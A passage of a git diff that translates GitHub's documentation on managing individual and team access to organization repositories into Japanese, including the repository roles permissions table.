+5. 管理する個人の名前の右側にある {% octicon "gear" aria-label="The Settings gear" %}ドロップダウン メニューで、[**Manage**] をクリックします。 ![[Manage] アクセスリンク](/assets/images/help/organizations/member-manage-access.png)
+6. [Manage access] ページで、リポジトリの隣にある [**Manage access**] をクリックします。 ![リポジトリの [Manage access] ボタン](/assets/images/help/organizations/repository-manage-access.png)
+7. この個人がコラボレーターなのか、チーム メンバーとしてリポジトリにアクセスできるのかなど、特定のリポジトリに対するアクセスを確認します。 ![ユーザのリポジトリへのアクセスのマトリクス](/assets/images/help/organizations/repository-access-matrix-for-user.png)
 
-## Further reading
+## 参考リンク
 
-{% ifversion fpt or ghec %}- "[Limiting interactions with your repository](/articles/limiting-interactions-with-your-repository)"{% endif %}
+{% ifversion fpt or ghec %}- [リポジトリ内での操作を制限する](/articles/limiting-interactions-with-your-repository){% endif %}
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
index 51d2c0a079..e249f60e75 100644
--- a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
+++ b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing team access to an organization repository
-intro: 'You can give a team access to a repository, remove a team''s access to a repository, or change a team''s permission level for a repository.'
+title: Organization リポジトリへの Team のアクセスを管理する
+intro: リポジトリへのチームアクセスを付与、リポジトリへのチームアクセスを削除、またはリポジトリへのチームの権限レベルを変更することができます。
 redirect_from:
   - /articles/managing-team-access-to-an-organization-repository-early-access-program
   - /articles/managing-team-access-to-an-organization-repository
@@ -13,35 +13,32 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team access
+shortTitle: Teamのアクセスの管理
 ---
 
-People with admin access to a repository can manage team access to the repository. Team maintainers can remove a team's access to a repository.
+リポジトリに対して管理者権限がある人は、リポジトリへのチームアクセスを管理できます。 チームメンテナは、リポジトリへのチームアクセスを削除できます。
 
 {% warning %}
 
-**Warnings:**
-- You can change a team's permission level if the team has direct access to a repository. If the team's access to the repository is inherited from a parent team, you must change the parent team's access to the repository.
-- If you add or remove repository access for a parent team, each of that parent's child teams will also receive or lose access to the repository. For more information, see "[About teams](/articles/about-teams)."
+**警告:**
+- チームがリポジトリに直接アクセスできる場合は、チームの権限レベルを変更できます。 リポジトリへのチームのアクセスが親チームから継承される場合は、リポジトリへの親チームのアクセスを変更する必要があります。
+- 親チームのリポジトリへのアクセスを追加または削除すると、その親の子チームそれぞれでも、同じリポジトリへのアクセスが追加または削除されます。 詳しい情報については[Team について](/articles/about-teams)を参照してください。
 
 {% endwarning %}
 
-## Giving a team access to a repository
+## リポジトリへのアクセスをチームに付与する
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Above the list of repositories, click **Add repository**.
-  ![The Add repository button](/assets/images/help/organizations/add-repositories-button.png)
-6. Type the name of a repository, then click **Add repository to team**.
-  ![Repository search field](/assets/images/help/organizations/team-repositories-add.png)
-7. Optionally, to the right of the repository name, use the drop-down menu and choose a different permission level for the team.
-  ![Repository access level dropdown](/assets/images/help/organizations/team-repositories-change-permission-level.png)
+5. リポジトリ リストの上にある [**Add repository**] をクリックします。 ![[Add repository] ボタン](/assets/images/help/organizations/add-repositories-button.png)
+6. リポジトリの名前を入力して、[**Add repository to team**] をクリックします。 ![リポジトリ検索フィールド](/assets/images/help/organizations/team-repositories-add.png)
+7. オプションで、リポジトリ名の右にあるドロップダウンメニューを使って、チームの権限レベルを変更することもできます ![リポジトリのアクセス レベルのドロップダウン](/assets/images/help/organizations/team-repositories-change-permission-level.png)
 
-## Removing a team's access to a repository
+## リポジトリへのチームのアクセスを削除する
 
-You can remove a team's access to a repository if the team has direct access to a repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams.
+チームがリポジトリに直接アクセスできる場合は、リポジトリへのチームのアクセスを削除できます。 リポジトリへのチームのアクセスが親チームから継承される場合、子チームからリポジトリを削除するには親チームからリポジトリを削除する必要があります。
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
@@ -49,13 +46,10 @@ You can remove a team's access to a repository if the team has direct access to
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Select the repository or repositories you'd like to remove from the team.
-  ![List of team repositories with the checkboxes for some repositories selected](/assets/images/help/teams/select-team-repositories-bulk.png)
-6. Above the list of repositories, use the drop-down menu, and click **Remove from team**.
-  ![Drop-down menu with the option to remove a repository from a team](/assets/images/help/teams/remove-team-repo-dropdown.png)
-7. Review the repository or repositories that will be removed from the team, then click **Remove repositories**.
-  ![Modal box with a list of repositories that the team will no longer have access to](/assets/images/help/teams/confirm-remove-team-repos.png)
+5. チームから削除するリポジトリ (複数選択も可) を選択します。 ![いくつかのリポジトリがチェックボックスで選択されたチーム リポジトリのリスト](/assets/images/help/teams/select-team-repositories-bulk.png)
+6. リポジトリ リストの上にあるドロップダウン メニューで、[**Remove from team**] をクリックします。 ![チームからリポジトリを削除するオプションのあるドロップダウン メニュー](/assets/images/help/teams/remove-team-repo-dropdown.png)
+7. チームから削除されるリポジトリをレビューし、[**Remove repositories**] をクリックします。 ![チームがアクセスできなくなったリポジトリのリストがあるモーダル ボックス](/assets/images/help/teams/confirm-remove-team-repos.png)
 
-## Further reading
+## 参考リンク
 
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
index 0a64d782c9..f34020d769 100644
--- a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
+++ b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
@@ -23,11 +23,11 @@ shortTitle: Repository roles
 You can give organization members, outside collaborators, and teams of people different levels of access to repositories owned by an organization by assigning them to roles. Choose the role that best fits each person or team's function in your project without giving people more access to the project than they need.
 
 From least access to most access, the roles for an organization repository are:
-- **Read**: Recommended for non-code contributors who want to view or discuss your project
-- **Triage**: Recommended for contributors who need to proactively manage issues and pull requests without write access
-- **Write**: Recommended for contributors who actively push to your project
-- **Maintain**: Recommended for project managers who need to manage the repository without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need full access to the project, including sensitive and destructive actions like managing security or deleting a repository
+- **Read**: プロジェクトを表示またはプロジェクトについてディスカッションしたい、コードを書かないコントリビューターにおすすめします
+- **Triage**: 書き込みアクセスなしに、Issue やプルリクエストを積極的に 管理したいコントリビューターにおすすめします
+- **Write**: プロジェクトに積極的にプッシュしたいコントリビューターにおすすめします
+- **Maintain**: センシティブ、または破壊的なアクションにアクセスせずにリポジトリを管理する必要がある、プロジェクト管理者におすすめします
+- **Admin**: セキュリティの管理やリポジトリの削除など、センシティブおよび破壊的なアクションを含めて、プロジェクトへの完全なアクセスが必要な人におすすめします
 
 {% ifversion fpt %}
 If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
@@ -35,15 +35,15 @@ If your organization uses {% data variables.product.prodname_ghe_cloud %}, you c
 You can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
 {% endif %}
 
-Organization owners can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. For more information, see "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)."
+Organizationのオーナーは、その Organization のリポジトリにアクセスするとき、Organization の全メンバーに適用される基本レベルの権限を設定できます。 詳しい情報については、「[Organization の基本レベル権限の設定](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)」を参照してください。
 
-Organization owners can also choose to further limit access to certain settings and actions across the organization. For more information on options for specific settings, see "[Managing organization settings](/articles/managing-organization-settings)."
+また、Organization のオーナーは、Organization 全体にわたって、特定の設定およびアクセスをさらに制限することも選択できます。 特定の設定についてのオプションに関する詳細は、[Organization の設定を管理する](/articles/managing-organization-settings)」を参照してください。
 
 In addition to managing organization-level settings, organization owners have admin access to every repository owned by the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
 {% warning %}
 
-**Warning:** When someone adds a deploy key to a repository, any user who has the private key can read from or write to the repository (depending on the key settings), even if they're later removed from the organization.
+**警告:** 誰かがリポジトリにデプロイキーを追加すると、そのリポジトリに対しては、秘密鍵を持つユーザであれば (鍵の設定によっては) 誰でも読み取りや書き込みができます。そのユーザが後に Organization から削除されても同じです。
 
 {% endwarning %}
 
@@ -59,118 +59,135 @@ Some of the features listed below are limited to organizations using {% data var
 **Note:** The roles required to use security features are listed in "[Access requirements for security features](#access-requirements-for-security-features)" below.
 
 {% endnote %}
-{% endif %}
 
-| Repository action | Read | Triage | Write | Maintain | Admin |
-|:---|:---:|:---:|:---:|:---:|:---:|
-| Manage [individual](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [team](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository), and [outside collaborator](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) access to the repository | | | | | **X** |
-| Pull from the person or team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Fork the person or team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Edit and delete their own comments | **X** | **X** | **X** | **X** | **X** |
-| Open issues | **X** | **X** | **X** | **X** | **X** |
-| Close issues they opened themselves | **X** | **X** | **X** | **X** | **X** |
-| Reopen issues they closed themselves | **X** | **X** | **X** | **X** | **X** |
-| Have an issue assigned to them | **X** | **X** | **X** | **X** | **X** |
-| Send pull requests from forks of the team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Submit reviews on pull requests | **X** | **X** | **X** | **X** | **X** |
-| View published releases | **X** | **X** | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| View [GitHub Actions workflow runs](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| Edit wikis in public repositories | **X** | **X** | **X** | **X** | **X** |
-| Edit wikis in private repositories | | | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| [Report abusive or spammy content](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| Apply/dismiss labels | | **X** | **X** | **X** | **X** |
-| Create, edit, delete labels | | | **X** | **X** | **X** |
-| Close, reopen, and assign all issues and pull requests | | **X** | **X** | **X** | **X** |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-| [Enable and disable auto-merge on a pull request](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | | | **X** | **X** | **X** |{% endif %}
-| Apply milestones |  | **X** | **X** | **X** | **X** |
-| Mark [duplicate issues and pull requests](/articles/about-duplicate-issues-and-pull-requests)| | **X** | **X** | **X** | **X** |
-| Request [pull request reviews](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | | **X** | **X** | **X** | **X** |
-| Merge a [pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | | | **X** | **X** | **X** |
-| Push to (write) the person or team's assigned repositories | | | **X** | **X** | **X** |
-| Edit and delete anyone's comments on commits, pull requests, and issues | | | **X** | **X** | **X** |
-| [Hide anyone's comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | | | **X** | **X** | **X** |
-| [Lock conversations](/communities/moderating-comments-and-conversations/locking-conversations) | | | **X** | **X** | **X** |
-| Transfer issues (see "[Transferring an issue to another repository](/articles/transferring-an-issue-to-another-repository)" for details) |  | | **X** | **X** | **X** |
-| [Act as a designated code owner for a repository](/articles/about-code-owners) | | | **X** | **X** | **X** |
-| [Mark a draft pull request as ready for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **X** | **X** | **X** |
-| [Convert a pull request to a draft](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **X** | **X** | **X** |
-| Submit reviews that affect a pull request's mergeability | | | **X** | **X** | **X** |
-| [Apply suggested changes](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) to pull requests | | | **X** | **X** | **X** |
-| Create [status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | | | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| Create, edit, run, re-run, and cancel [GitHub Actions workflows](/actions/automating-your-workflow-with-github-actions/) | | | **X** | **X** | **X** |{% endif %}
-| Create and edit releases | | | **X** | **X** | **X** |
-| View draft releases | | | **X** | **X** | **X** |
-| Edit a repository's description | | | | **X** | **X** |{% ifversion fpt or ghae or ghec %}
-| [View and install packages](/packages/publishing-and-managing-packages) | **X** | **X** | **X** | **X** | **X** |
-| [Publish packages](/packages/publishing-and-managing-packages/publishing-a-package) | | | **X** | **X** | **X** |
-| {% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Delete and restore packages](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Delete packages](/packages/learn-github-packages/deleting-a-package){% endif %} | | |  |  | **X** | {% endif %}
-| Manage [topics](/articles/classifying-your-repository-with-topics) | | | | **X** | **X** |
-| Enable wikis and restrict wiki editors | | | | **X** | **X** |
-| Enable project boards | | | | **X** | **X** |
-| Configure [pull request merges](/articles/configuring-pull-request-merges) | | | | **X** | **X** |
-| Configure [a publishing source for {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages) | | | | **X** | **X** |
-| [Push to protected branches](/articles/about-protected-branches) | | | | **X** | **X** |
-| [Create and edit repository social cards](/articles/customizing-your-repositorys-social-media-preview) | | | | **X** | **X** |{% ifversion fpt or ghec %}
-| Limit [interactions in a repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| | | | **X** | **X** |{% endif %}
-| Delete an issue (see "[Deleting an issue](/articles/deleting-an-issue)") | | | | | **X** |
-| Merge pull requests on protected branches, even if there are no approving reviews | | | | | **X** |
-| [Define code owners for a repository](/articles/about-code-owners) | | | | | **X** |
-| Add a repository to a team (see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)" for details) | | | | | **X** |
-| [Manage outside collaborator access to a repository](/articles/adding-outside-collaborators-to-repositories-in-your-organization) | | | | | **X** |
-| [Change a repository's visibility](/articles/restricting-repository-visibility-changes-in-your-organization) | | | | | **X** |
-| Make a repository a template (see "[Creating a template repository](/articles/creating-a-template-repository)") | | | | | **X** |
-| Change a repository's settings | | | | | **X** |
-| Manage team and collaborator access to the repository | | | | | **X** |
-| Edit the repository's default branch | | | | | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| Rename the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | | | **X** |
-| Rename a branch other than the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | **X** | **X** | **X** |{% endif %}
-| Manage webhooks and deploy keys | | | | | **X** |{% ifversion fpt or ghec %}
-| [Manage data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository) | | | | | **X** |{% endif %}
-| [Manage the forking policy for a repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) | | | | | **X** |
-| [Transfer repositories into the organization](/articles/restricting-repository-creation-in-your-organization) | | | | | **X** |
-| [Delete or transfer repositories out of the organization](/articles/setting-permissions-for-deleting-or-transferring-repositories) | | | | | **X** |
-| [Archive repositories](/articles/about-archiving-repositories) | | | | | **X** |{% ifversion fpt or ghec %}
-| Display a sponsor button (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") | | | | | **X** |{% endif %}
-| Create autolink references to external resources, like JIRA or Zendesk (see "[Configuring autolinks to reference external resources](/articles/configuring-autolinks-to-reference-external-resources)") | | | | | **X** |{% ifversion fpt or ghec %}
-| [Enable {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) in a repository | | | | **X** | **X** |
-| [Create and edit categories](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository) for {% data variables.product.prodname_discussions %} | | | | **X** | **X** |
-| [Move a discussion to a different category](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Transfer a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) to a new repository| | | **X** | **X** | **X** |
-| [Manage pinned discussions](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Convert issues to discussions in bulk](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Lock and unlock discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
-| [Individually convert issues to discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
-| [Create new discussions and comment on existing discussions](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | **X** | **X** | **X** | **X** | **X** |
-| [Delete a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion) | | | | **X** | **X** |{% endif %}{% ifversion fpt or ghec %}
-| Create [codespaces](/codespaces/about-codespaces) | | | **X** | **X** | **X** |{% endif %}
+{% endif %}
+| リポジトリアクション                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Read  | Triage | Write | Maintain |                          Admin                           |
+|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:------:|:-----:|:--------:|:--------------------------------------------------------:|
+| Manage [individual](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [team](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository), and [outside collaborator](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) access to the repository |       |        |       |          |                          **X**                           |
+| 個人または Team の割り当てリポジトリからのプル                                                                                                                                                                                                                                                                                                                                                                                                                                                  | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| 個人または Team の割り当てリポジトリのフォーク                                                                                                                                                                                                                                                                                                                                                                                                                                                  | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| 自分のコメントの編集および削除                                                                                                                                                                                                                                                                                                                                                                                                                                                             | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| Issue のオープン                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| 自分でオープンした Issue のクローズ                                                                                                                                                                                                                                                                                                                                                                                                                                                       | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| 自分でクローズした Issue を再オープン                                                                                                                                                                                                                                                                                                                                                                                                                                                      | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| 自分に割り当てられた Issue の取得                                                                                                                                                                                                                                                                                                                                                                                                                                                        | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| Team の割り当てリポジトリのフォークからのプルリクエストの送信                                                                                                                                                                                                                                                                                                                                                                                                                                           | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| プルリクエストについてのレビューのサブミット                                                                                                                                                                                                                                                                                                                                                                                                                                                      | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| 公開済みリリースの表示                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | **X** | **X**  | **X** |  **X**   |            **X** |{% ifversion fpt or ghec %}
+| [[GitHub Actions workflow runs](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)] の表示                                                                                                                                                                                                                                                                                                                                                         | **X** | **X**  | **X** |  **X**   |                    **X** 
+{% endif %}
+| Edit wikis in public repositories                                                                                                                                                                                                                                                                                                                                                                                                                                           | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| Edit wikis in private repositories                                                                                                                                                                                                                                                                                                                                                                                                                                          |       |        | **X** |  **X**   |            **X** |{% ifversion fpt or ghec %}
+| [悪用あるいはスパムの可能性があるコンテンツのレポート](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)                                                                                                                                                                                                                                                                                                                                                                        | **X** | **X**  | **X** |  **X**   |                    **X** 
+{% endif %}
+| ラベルの適用/却下                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |       | **X**  | **X** |  **X**   |                          **X**                           |
+| ラベルの作成、編集、削除                                                                                                                                                                                                                                                                                                                                                                                                                                                                |       |        | **X** |  **X**   |                          **X**                           |
+| すべての Issue およびプルリクエストのクローズ、再オープン、割り当て                                                                                                                                                                                                                                                                                                                                                                                                                                       |       | **X**  | **X** |  **X**   | **X** |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+| [プルリクエストの自動マージの有効化または無効化](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)                                                                                                                                                                                                                                                                                                                                                      |       |        | **X** |  **X**   |                    **X** 
+{% endif %}
+| マイルストーンの適用                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |       | **X**  | **X** |  **X**   |                          **X**                           |
+| [重複した Issue とプルリクエスト](/articles/about-duplicate-issues-and-pull-requests)のマーク付け                                                                                                                                                                                                                                                                                                                                                                                             |       | **X**  | **X** |  **X**   |                          **X**                           |
+| [プルリクエストのレビュー](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)の要求                                                                                                                                                                                                                                                                                                                       |       | **X**  | **X** |  **X**   |                          **X**                           |
+| Merge a [pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)                                                                                                                                                                                                                                                                                                                                        |       |        | **X** |  **X**   |                          **X**                           |
+| 個人または Team の割り当てリポジトリへのプッシュ (書き込み)                                                                                                                                                                                                                                                                                                                                                                                                                                          |       |        | **X** |  **X**   |                          **X**                           |
+| コミット、プルリクエスト、Issue についての他者によるコメントの編集と削除                                                                                                                                                                                                                                                                                                                                                                                                                                     |       |        | **X** |  **X**   |                          **X**                           |
+| [他者によるコメントの非表示](/communities/moderating-comments-and-conversations/managing-disruptive-comments)                                                                                                                                                                                                                                                                                                                                                                            |       |        | **X** |  **X**   |                          **X**                           |
+| [会話のロック](/communities/moderating-comments-and-conversations/locking-conversations)                                                                                                                                                                                                                                                                                                                                                                                          |       |        | **X** |  **X**   |                          **X**                           |
+| Issue の移譲 (詳細は「[他のリポジトリへ Issue を移譲する](/articles/transferring-an-issue-to-another-repository)」を参照)                                                                                                                                                                                                                                                                                                                                                                           |       |        | **X** |  **X**   |                          **X**                           |
+| [リポジトリに指定されたコードオーナーとしてのアクション](/articles/about-code-owners)                                                                                                                                                                                                                                                                                                                                                                                                                  |       |        | **X** |  **X**   |                          **X**                           |
+| [プルリクエストのドラフトに、レビューの準備ができたことを示すマークを付ける](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)                                                                                                                                                                                                                                                                                             |       |        | **X** |  **X**   |                          **X**                           |
+| [プルリクエストをドラフトに変換する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)                                                                                                                                                                                                                                                                                                                 |       |        | **X** |  **X**   |                          **X**                           |
+| プルリクエストのマージ可能性に影響するレビューのサブミット                                                                                                                                                                                                                                                                                                                                                                                                                                               |       |        | **X** |  **X**   |                          **X**                           |
+| プルリクエストに[提案された変更を適用する](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)                                                                                                                                                                                                                                                                                                                      |       |        | **X** |  **X**   |                          **X**                           |
+| [ステータスチェック](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)の作成                                                                                                                                                                                                                                                                                                                                |       |        | **X** |  **X**   |            **X** |{% ifversion fpt or ghec %}
+| [GitHub Actions ワークフロー](/actions/automating-your-workflow-with-github-actions/) の作成、編集、実行、再実行、キャンセル                                                                                                                                                                                                                                                                                                                                                                         |       |        | **X** |  **X**   |                    **X** 
+{% endif %}
+| リリースの作成と編集                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |       |        | **X** |  **X**   |                          **X**                           |
+| ドラフトリリースの表示                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |       |        | **X** |  **X**   |                          **X**                           |
+| リポジトリの説明の編集                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |       |        |       |  **X**   |        **X** |{% ifversion fpt or ghae or ghec %}
+| [パッケージの表示とインストール](/packages/publishing-and-managing-packages)                                                                                                                                                                                                                                                                                                                                                                                                               | **X** | **X**  | **X** |  **X**   |                          **X**                           |
+| [パッケージの公開](/packages/publishing-and-managing-packages/publishing-a-package)                                                                                                                                                                                                                                                                                                                                                                                                 |       |        | **X** |  **X**   |                          **X**                           |
+|                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |       |        |       |          |                                                          |
+| {% ifversion fpt or ghes > 3.0 or ghec or ghae %}[パッケージを削除および復元する](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[パッケージを削除する](/packages/learn-github-packages/deleting-a-package){% endif %}                                                                                                                                                                                                                                       |       |        |       |          |                   **X** | {% endif %}
+| [Topics](/articles/classifying-your-repository-with-topics) の管理                                                                                                                                                                                                                                                                                                                                                                                                             |       |        |       |  **X**   |                          **X**                           |
+| Wiki の有効化および Wiki 編集者の制限                                                                                                                                                                                                                                                                                                                                                                                                                                                    |       |        |       |  **X**   |                          **X**                           |
+| プロジェクトボードの有効化                                                                                                                                                                                                                                                                                                                                                                                                                                                               |       |        |       |  **X**   |                          **X**                           |
+| [プルリクエストのマージ](/articles/configuring-pull-request-merges)の設定                                                                                                                                                                                                                                                                                                                                                                                                                 |       |        |       |  **X**   |                          **X**                           |
+| [{% data variables.product.prodname_pages %} の公開ソース](/articles/configuring-a-publishing-source-for-github-pages)の設定                                                                                                                                                                                                                                                                                                                                                         |       |        |       |  **X**   |                          **X**                           |
+| [保護されたブランチへのプッシュ](/articles/about-protected-branches)                                                                                                                                                                                                                                                                                                                                                                                                                       |       |        |       |  **X**   |                          **X**                           |
+| [リポジトリソーシャルカードの作成と編集](/articles/customizing-your-repositorys-social-media-preview)                                                                                                                                                                                                                                                                                                                                                                                          |       |        |       |  **X**   |            **X** |{% ifversion fpt or ghec %}
+| [リポジトリでのインタラクション](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)を制限する                                                                                                                                                                                                                                                                                                                                                         |       |        |       |  **X**   |                    **X** 
+{% endif %}
+| Issue の削除 (「[Issue を削除する](/articles/deleting-an-issue)」を参照)                                                                                                                                                                                                                                                                                                                                                                                                                 |       |        |       |          |                          **X**                           |
+| 保護されたブランチでのプルリクエストのマージ（レビューの承認がなくても）                                                                                                                                                                                                                                                                                                                                                                                                                                        |       |        |       |          |                          **X**                           |
+| [リポジトリのコードオーナーの定義](/articles/about-code-owners)                                                                                                                                                                                                                                                                                                                                                                                                                             |       |        |       |          |                          **X**                           |
+| リポジトリを Team に追加する (詳細は「[Organization リポジトリへの Team のアクセスを管理する](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)」を参照)                                                                                                                                                                                                                                               |       |        |       |          |                          **X**                           |
+| [外部のコラボレータのリポジトリへのアクセスの管理](/articles/adding-outside-collaborators-to-repositories-in-your-organization)                                                                                                                                                                                                                                                                                                                                                                     |       |        |       |          |                          **X**                           |
+| [リポジトリの可視性の変更](/articles/restricting-repository-visibility-changes-in-your-organization)                                                                                                                                                                                                                                                                                                                                                                                    |       |        |       |          |                          **X**                           |
+| リポジトリのテンプレート化 (「[テンプレートリポジトリを作成する](/articles/creating-a-template-repository)」を参照)                                                                                                                                                                                                                                                                                                                                                                                           |       |        |       |          |                          **X**                           |
+| リポジトリ設定の変更                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |       |        |       |          |                          **X**                           |
+| Team およびコラボレータのリポジトリへのアクセス管理                                                                                                                                                                                                                                                                                                                                                                                                                                                |       |        |       |          |                          **X**                           |
+| リポジトリのデフォルトブランチ編集                                                                                                                                                                                                                                                                                                                                                                                                                                                           |       |        |       |          | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
